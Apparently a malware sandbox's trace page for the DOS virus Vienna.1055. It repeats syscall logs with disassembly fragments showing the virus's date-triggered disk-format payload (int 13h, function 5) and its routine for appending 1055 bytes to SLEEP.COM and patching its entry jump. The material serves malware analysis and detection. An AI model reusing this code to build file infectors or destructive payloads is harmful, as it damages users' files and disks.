Sample viewer

vx.netlux.org/Virus.DOS.Vienna.1055

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:55:27.740665245Z 48 PC: 12a6b | Get DOS version
2018-12-17T21:55:27.742174265Z 47 PC: 12a77 | Get disk transfer address
2018-12-17T21:55:27.743713833Z 26 PC: 12a8a | Set disk transfer address
2018-12-17T21:55:27.745219459Z 42 PC: 12a9a | Get date 0x12a9a: cmp cx, 0x7c6
0x12a9e: jge 0x12aa3
0x12aa0: jmp 0x12adb
0x12aa2: nop
0x12aa3: mov ah, 0x2a
0x12aa5: int 0x21
0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
2018-12-17T21:55:27.747976747Z 42 PC: 12aa7 | Get date 0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
0x12ac8: inc byte ptr [0x388]
0x12acc: loop 0x12abb
0x12ace: mov ah, 5
0x12ad0: mov ch, 0
0x12ad2: mov dh, 0
0x12ad4: mov dl, byte ptr [0x388]
2018-12-17T21:55:27.755316511Z 42 PC: 12ab3 | Get date 0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
0x12ac8: inc byte ptr [0x388]
0x12acc: loop 0x12abb
0x12ace: mov ah, 5
0x12ad0: mov ch, 0
0x12ad2: mov dh, 0
0x12ad4: mov dl, byte ptr [0x388]
0x12ad8: int 0x13
0x12ada: ret
0x12adb: pop si
0x12adc: push si
0x12add: add si, 0x5c
0x12ae1: lodsb al, byte ptr [si]
2018-12-17T21:55:27.759142505Z 78 PC: 12b5e | Find first file
2018-12-17T21:55:27.76548777Z 67 PC: 12b9c | Get or set file attributes
2018-12-17T21:55:27.772209394Z 67 PC: 12bae | Get or set file attributes
2018-12-17T21:55:27.845943974Z 61 PC: 12bb9 | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:55:27.852716206Z 87 PC: 12bc5 | Get or set file date and time
2018-12-17T21:55:27.854946498Z 44 PC: 12bd1 | Get time 0x12bd1: and dh, 7
0x12bd4: jmp 0x12bd7
0x12bd6: nop
0x12bd7: mov ah, 0x3f
0x12bd9: mov cx, 3
0x12bdc: mov dx, 0x4c
0x12bdf: nop
0x12be0: add dx, si
0x12be2: int 0x21
0x12be4: jb 0x12c3b
0x12be6: cmp ax, 3
0x12be9: jne 0x12c3b
0x12beb: mov ax, 0x4202
0x12bee: mov cx, 0
0x12bf1: mov dx, 0
0x12bf4: int 0x21
0x12bf6: jb 0x12c3b
0x12bf8: mov cx, ax
0x12bfa: sub ax, 3
0x12bfd: mov word ptr [si + 0x50], ax
2018-12-17T21:55:27.857116421Z 63 PC: 12be4 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T21:55:27.863839668Z 66 PC: 12bf6 | Move file pointer
2018-12-17T21:55:27.866532358Z 64 PC: 12c1a | Write file or device (Write 1055 bytes on handle 5)
2018-12-17T21:55:27.877333205Z 66 PC: 12c2c | Move file pointer
2018-12-17T21:55:27.878928885Z 64 PC: 12c3b | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:55:27.886152067Z 87 PC: 12c4e | Get or set file date and time
2018-12-17T21:55:27.888176057Z 62 PC: 12c52 | Close file
2018-12-17T21:55:27.895850812Z 67 PC: 12c61 | Get or set file attributes
2018-12-17T21:55:27.933790167Z 26 PC: 12c6e | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.281674545Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:41:22.283814444Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T11:41:22.285154503Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T11:41:22.286052288Z 42 PC: 12a9a | Get date 0x12a9a: cmp cx, 0x7c6
0x12a9e: jge 0x12aa3
0x12aa0: jmp 0x12adb
0x12aa2: nop
0x12aa3: mov ah, 0x2a
0x12aa5: int 0x21
0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
2018-12-25T11:41:22.287650907Z 78 PC: 12b5e | Find first file
2018-12-25T11:41:22.29482612Z 67 PC: 12b9c | Get or set file attributes
2018-12-25T11:41:22.300919822Z 67 PC: 12bae | Get or set file attributes
2018-12-25T11:41:22.317852592Z 61 PC: 12bb9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:22.325606375Z 87 PC: 12bc5 | Get or set file date and time
2018-12-25T11:41:22.327440607Z 44 PC: 12bd1 | Get time 0x12bd1: and dh, 7
0x12bd4: jmp 0x12bd7
0x12bd6: nop
0x12bd7: mov ah, 0x3f
0x12bd9: mov cx, 3
0x12bdc: mov dx, 0x4c
0x12bdf: nop
0x12be0: add dx, si
0x12be2: int 0x21
0x12be4: jb 0x12c3b
0x12be6: cmp ax, 3
0x12be9: jne 0x12c3b
0x12beb: mov ax, 0x4202
0x12bee: mov cx, 0
0x12bf1: mov dx, 0
0x12bf4: int 0x21
0x12bf6: jb 0x12c3b
0x12bf8: mov cx, ax
0x12bfa: sub ax, 3
0x12bfd: mov word ptr [si + 0x50], ax
2018-12-25T11:41:22.329713087Z 63 PC: 12be4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:22.337294283Z 66 PC: 12bf6 | Move file pointer
2018-12-25T11:41:22.338684989Z 64 PC: 12c1a | Write file or device (Write 1055 bytes on handle 5)
2018-12-25T11:41:22.349260381Z 66 PC: 12c2c | Move file pointer
2018-12-25T11:41:22.358261763Z 64 PC: 12c3b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:22.365532541Z 87 PC: 12c4e | Get or set file date and time
2018-12-25T11:41:22.36712139Z 62 PC: 12c52 | Close file
2018-12-25T11:41:22.376397971Z 67 PC: 12c61 | Get or set file attributes
2018-12-25T11:41:22.384328058Z 26 PC: 12c6e | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1990,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.365426734Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:41:22.366940886Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T11:41:22.368460061Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T11:41:22.369840342Z 42 PC: 12a9a | Get date 0x12a9a: cmp cx, 0x7c6
0x12a9e: jge 0x12aa3
0x12aa0: jmp 0x12adb
0x12aa2: nop
0x12aa3: mov ah, 0x2a
0x12aa5: int 0x21
0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
2018-12-25T11:41:22.372338082Z 42 PC: 12aa7 | Get date 0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
0x12ac8: inc byte ptr [0x388]
0x12acc: loop 0x12abb
0x12ace: mov ah, 5
0x12ad0: mov ch, 0
0x12ad2: mov dh, 0
0x12ad4: mov dl, byte ptr [0x388]
2018-12-25T11:41:22.377405153Z 78 PC: 12b5e | Find first file
2018-12-25T11:41:22.384254875Z 67 PC: 12b9c | Get or set file attributes
2018-12-25T11:41:22.390331276Z 67 PC: 12bae | Get or set file attributes
2018-12-25T11:41:22.408775899Z 61 PC: 12bb9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:22.416383517Z 87 PC: 12bc5 | Get or set file date and time
2018-12-25T11:41:22.418368668Z 44 PC: 12bd1 | Get time 0x12bd1: and dh, 7
0x12bd4: jmp 0x12bd7
0x12bd6: nop
0x12bd7: mov ah, 0x3f
0x12bd9: mov cx, 3
0x12bdc: mov dx, 0x4c
0x12bdf: nop
0x12be0: add dx, si
0x12be2: int 0x21
0x12be4: jb 0x12c3b
0x12be6: cmp ax, 3
0x12be9: jne 0x12c3b
0x12beb: mov ax, 0x4202
0x12bee: mov cx, 0
0x12bf1: mov dx, 0
0x12bf4: int 0x21
0x12bf6: jb 0x12c3b
0x12bf8: mov cx, ax
0x12bfa: sub ax, 3
0x12bfd: mov word ptr [si + 0x50], ax
2018-12-25T11:41:22.421074394Z 63 PC: 12be4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:22.428189679Z 66 PC: 12bf6 | Move file pointer
2018-12-25T11:41:22.429833954Z 64 PC: 12c1a | Write file or device (Write 1055 bytes on handle 5)
2018-12-25T11:41:22.439580035Z 66 PC: 12c2c | Move file pointer
2018-12-25T11:41:22.441910228Z 64 PC: 12c3b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:22.449134535Z 87 PC: 12c4e | Get or set file date and time
2018-12-25T11:41:22.451041358Z 62 PC: 12c52 | Close file
2018-12-25T11:41:22.467714135Z 67 PC: 12c61 | Get or set file attributes
2018-12-25T11:41:22.479184067Z 26 PC: 12c6e | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.396717652Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:41:22.399767429Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T11:41:22.401464349Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T11:41:22.403027298Z 42 PC: 12a9a | Get date 0x12a9a: cmp cx, 0x7c6
0x12a9e: jge 0x12aa3
0x12aa0: jmp 0x12adb
0x12aa2: nop
0x12aa3: mov ah, 0x2a
0x12aa5: int 0x21
0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
2018-12-25T11:41:22.405889898Z 78 PC: 12b5e | Find first file
2018-12-25T11:41:22.414555555Z 67 PC: 12b9c | Get or set file attributes
2018-12-25T11:41:22.421434782Z 67 PC: 12bae | Get or set file attributes
2018-12-25T11:41:22.439097129Z 61 PC: 12bb9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:22.448193741Z 87 PC: 12bc5 | Get or set file date and time
2018-12-25T11:41:22.450042649Z 44 PC: 12bd1 | Get time 0x12bd1: and dh, 7
0x12bd4: jmp 0x12bd7
0x12bd6: nop
0x12bd7: mov ah, 0x3f
0x12bd9: mov cx, 3
0x12bdc: mov dx, 0x4c
0x12bdf: nop
0x12be0: add dx, si
0x12be2: int 0x21
0x12be4: jb 0x12c3b
0x12be6: cmp ax, 3
0x12be9: jne 0x12c3b
0x12beb: mov ax, 0x4202
0x12bee: mov cx, 0
0x12bf1: mov dx, 0
0x12bf4: int 0x21
0x12bf6: jb 0x12c3b
0x12bf8: mov cx, ax
0x12bfa: sub ax, 3
0x12bfd: mov word ptr [si + 0x50], ax
2018-12-25T11:41:22.452515341Z 63 PC: 12be4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:22.461211139Z 66 PC: 12bf6 | Move file pointer
2018-12-25T11:41:22.473922298Z 64 PC: 12c1a | Write file or device (Write 1055 bytes on handle 5)
2018-12-25T11:41:22.481994353Z 66 PC: 12c2c | Move file pointer
2018-12-25T11:41:22.483876193Z 64 PC: 12c3b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:22.48916532Z 87 PC: 12c4e | Get or set file date and time
2018-12-25T11:41:22.490511696Z 62 PC: 12c52 | Close file
2018-12-25T11:41:22.496665727Z 67 PC: 12c61 | Get or set file attributes
2018-12-25T11:41:22.503594527Z 26 PC: 12c6e | Set disk transfer address

{"DateBased":true,"Day":1,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.404801116Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:41:22.405926434Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T11:41:22.408259803Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T11:41:22.409469931Z 42 PC: 12a9a | Get date 0x12a9a: cmp cx, 0x7c6
0x12a9e: jge 0x12aa3
0x12aa0: jmp 0x12adb
0x12aa2: nop
0x12aa3: mov ah, 0x2a
0x12aa5: int 0x21
0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
2018-12-25T11:41:22.412034417Z 78 PC: 12b5e | Find first file
2018-12-25T11:41:22.423823459Z 67 PC: 12b9c | Get or set file attributes
2018-12-25T11:41:22.430325107Z 67 PC: 12bae | Get or set file attributes
2018-12-25T11:41:22.447431431Z 61 PC: 12bb9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:22.45565873Z 87 PC: 12bc5 | Get or set file date and time
2018-12-25T11:41:22.457325275Z 44 PC: 12bd1 | Get time 0x12bd1: and dh, 7
0x12bd4: jmp 0x12bd7
0x12bd6: nop
0x12bd7: mov ah, 0x3f
0x12bd9: mov cx, 3
0x12bdc: mov dx, 0x4c
0x12bdf: nop
0x12be0: add dx, si
0x12be2: int 0x21
0x12be4: jb 0x12c3b
0x12be6: cmp ax, 3
0x12be9: jne 0x12c3b
0x12beb: mov ax, 0x4202
0x12bee: mov cx, 0
0x12bf1: mov dx, 0
0x12bf4: int 0x21
0x12bf6: jb 0x12c3b
0x12bf8: mov cx, ax
0x12bfa: sub ax, 3
0x12bfd: mov word ptr [si + 0x50], ax
2018-12-25T11:41:22.464160581Z 63 PC: 12be4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:22.472378852Z 66 PC: 12bf6 | Move file pointer
2018-12-25T11:41:22.474041777Z 64 PC: 12c1a | Write file or device (Write 1055 bytes on handle 5)
2018-12-25T11:41:22.483644847Z 66 PC: 12c2c | Move file pointer
2018-12-25T11:41:22.485594859Z 64 PC: 12c3b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:22.494233158Z 87 PC: 12c4e | Get or set file date and time
2018-12-25T11:41:22.496182472Z 62 PC: 12c52 | Close file
2018-12-25T11:41:22.504728984Z 67 PC: 12c61 | Get or set file attributes
2018-12-25T11:41:22.517999638Z 26 PC: 12c6e | Set disk transfer address

{"DateBased":true,"Day":15,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.44261443Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:41:22.444500201Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T11:41:22.445688025Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T11:41:22.446733273Z 42 PC: 12a9a | Get date 0x12a9a: cmp cx, 0x7c6
0x12a9e: jge 0x12aa3
0x12aa0: jmp 0x12adb
0x12aa2: nop
0x12aa3: mov ah, 0x2a
0x12aa5: int 0x21
0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
2018-12-25T11:41:22.448486399Z 78 PC: 12b5e | Find first file
2018-12-25T11:41:22.45300171Z 67 PC: 12b9c | Get or set file attributes
2018-12-25T11:41:22.459468877Z 67 PC: 12bae | Get or set file attributes
2018-12-25T11:41:22.479891151Z 61 PC: 12bb9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:22.493011953Z 87 PC: 12bc5 | Get or set file date and time
2018-12-25T11:41:22.494581309Z 44 PC: 12bd1 | Get time 0x12bd1: and dh, 7
0x12bd4: jmp 0x12bd7
0x12bd6: nop
0x12bd7: mov ah, 0x3f
0x12bd9: mov cx, 3
0x12bdc: mov dx, 0x4c
0x12bdf: nop
0x12be0: add dx, si
0x12be2: int 0x21
0x12be4: jb 0x12c3b
0x12be6: cmp ax, 3
0x12be9: jne 0x12c3b
0x12beb: mov ax, 0x4202
0x12bee: mov cx, 0
0x12bf1: mov dx, 0
0x12bf4: int 0x21
0x12bf6: jb 0x12c3b
0x12bf8: mov cx, ax
0x12bfa: sub ax, 3
0x12bfd: mov word ptr [si + 0x50], ax
2018-12-25T11:41:22.497613742Z 63 PC: 12be4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:22.507489181Z 66 PC: 12bf6 | Move file pointer
2018-12-25T11:41:22.509275922Z 64 PC: 12c1a | Write file or device (Write 1055 bytes on handle 5)
2018-12-25T11:41:22.516710122Z 66 PC: 12c2c | Move file pointer
2018-12-25T11:41:22.521165879Z 64 PC: 12c3b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:22.527875578Z 87 PC: 12c4e | Get or set file date and time
2018-12-25T11:41:22.529319457Z 62 PC: 12c52 | Close file
2018-12-25T11:41:22.537594961Z 67 PC: 12c61 | Get or set file attributes
2018-12-25T11:41:22.545725313Z 26 PC: 12c6e | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.602663592Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:41:22.603844781Z 47 PC: 12a77 | Get disk transfer address
2018-12-25T11:41:22.605117693Z 26 PC: 12a8a | Set disk transfer address
2018-12-25T11:41:22.605981651Z 42 PC: 12a9a | Get date 0x12a9a: cmp cx, 0x7c6
0x12a9e: jge 0x12aa3
0x12aa0: jmp 0x12adb
0x12aa2: nop
0x12aa3: mov ah, 0x2a
0x12aa5: int 0x21
0x12aa7: cmp dh, 8
0x12aaa: jge 0x12aaf
0x12aac: jmp 0x12adb
0x12aae: nop
0x12aaf: mov ah, 0x2a
0x12ab1: int 0x21
0x12ab3: cmp dl, 0xf
0x12ab6: jge 0x12abb
0x12ab8: jmp 0x12adb
0x12aba: nop
0x12abb: mov al, byte ptr [0x388]
0x12abe: call 0x12ace
0x12ac1: cmp byte ptr [0x388], 0x19
0x12ac6: je 0x12adb
2018-12-25T11:41:22.607581442Z 78 PC: 12b5e | Find first file
2018-12-25T11:41:22.612003374Z 67 PC: 12b9c | Get or set file attributes
2018-12-25T11:41:22.615904862Z 67 PC: 12bae | Get or set file attributes
2018-12-25T11:41:22.628713002Z 61 PC: 12bb9 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:22.633892269Z 87 PC: 12bc5 | Get or set file date and time
2018-12-25T11:41:22.635511983Z 44 PC: 12bd1 | Get time 0x12bd1: and dh, 7
0x12bd4: jmp 0x12bd7
0x12bd6: nop
0x12bd7: mov ah, 0x3f
0x12bd9: mov cx, 3
0x12bdc: mov dx, 0x4c
0x12bdf: nop
0x12be0: add dx, si
0x12be2: int 0x21
0x12be4: jb 0x12c3b
0x12be6: cmp ax, 3
0x12be9: jne 0x12c3b
0x12beb: mov ax, 0x4202
0x12bee: mov cx, 0
0x12bf1: mov dx, 0
0x12bf4: int 0x21
0x12bf6: jb 0x12c3b
0x12bf8: mov cx, ax
0x12bfa: sub ax, 3
0x12bfd: mov word ptr [si + 0x50], ax
2018-12-25T11:41:22.637733197Z 63 PC: 12be4 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:22.645062095Z 66 PC: 12bf6 | Move file pointer
2018-12-25T11:41:22.646515095Z 64 PC: 12c1a | Write file or device (Write 1055 bytes on handle 5)
2018-12-25T11:41:22.656239504Z 66 PC: 12c2c | Move file pointer
2018-12-25T11:41:22.658710051Z 64 PC: 12c3b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:22.668252194Z 87 PC: 12c4e | Get or set file date and time
2018-12-25T11:41:22.66980688Z 62 PC: 12c52 | Close file
2018-12-25T11:41:22.682749239Z 67 PC: 12c61 | Get or set file attributes
2018-12-25T11:41:22.693417412Z 26 PC: 12c6e | Set disk transfer address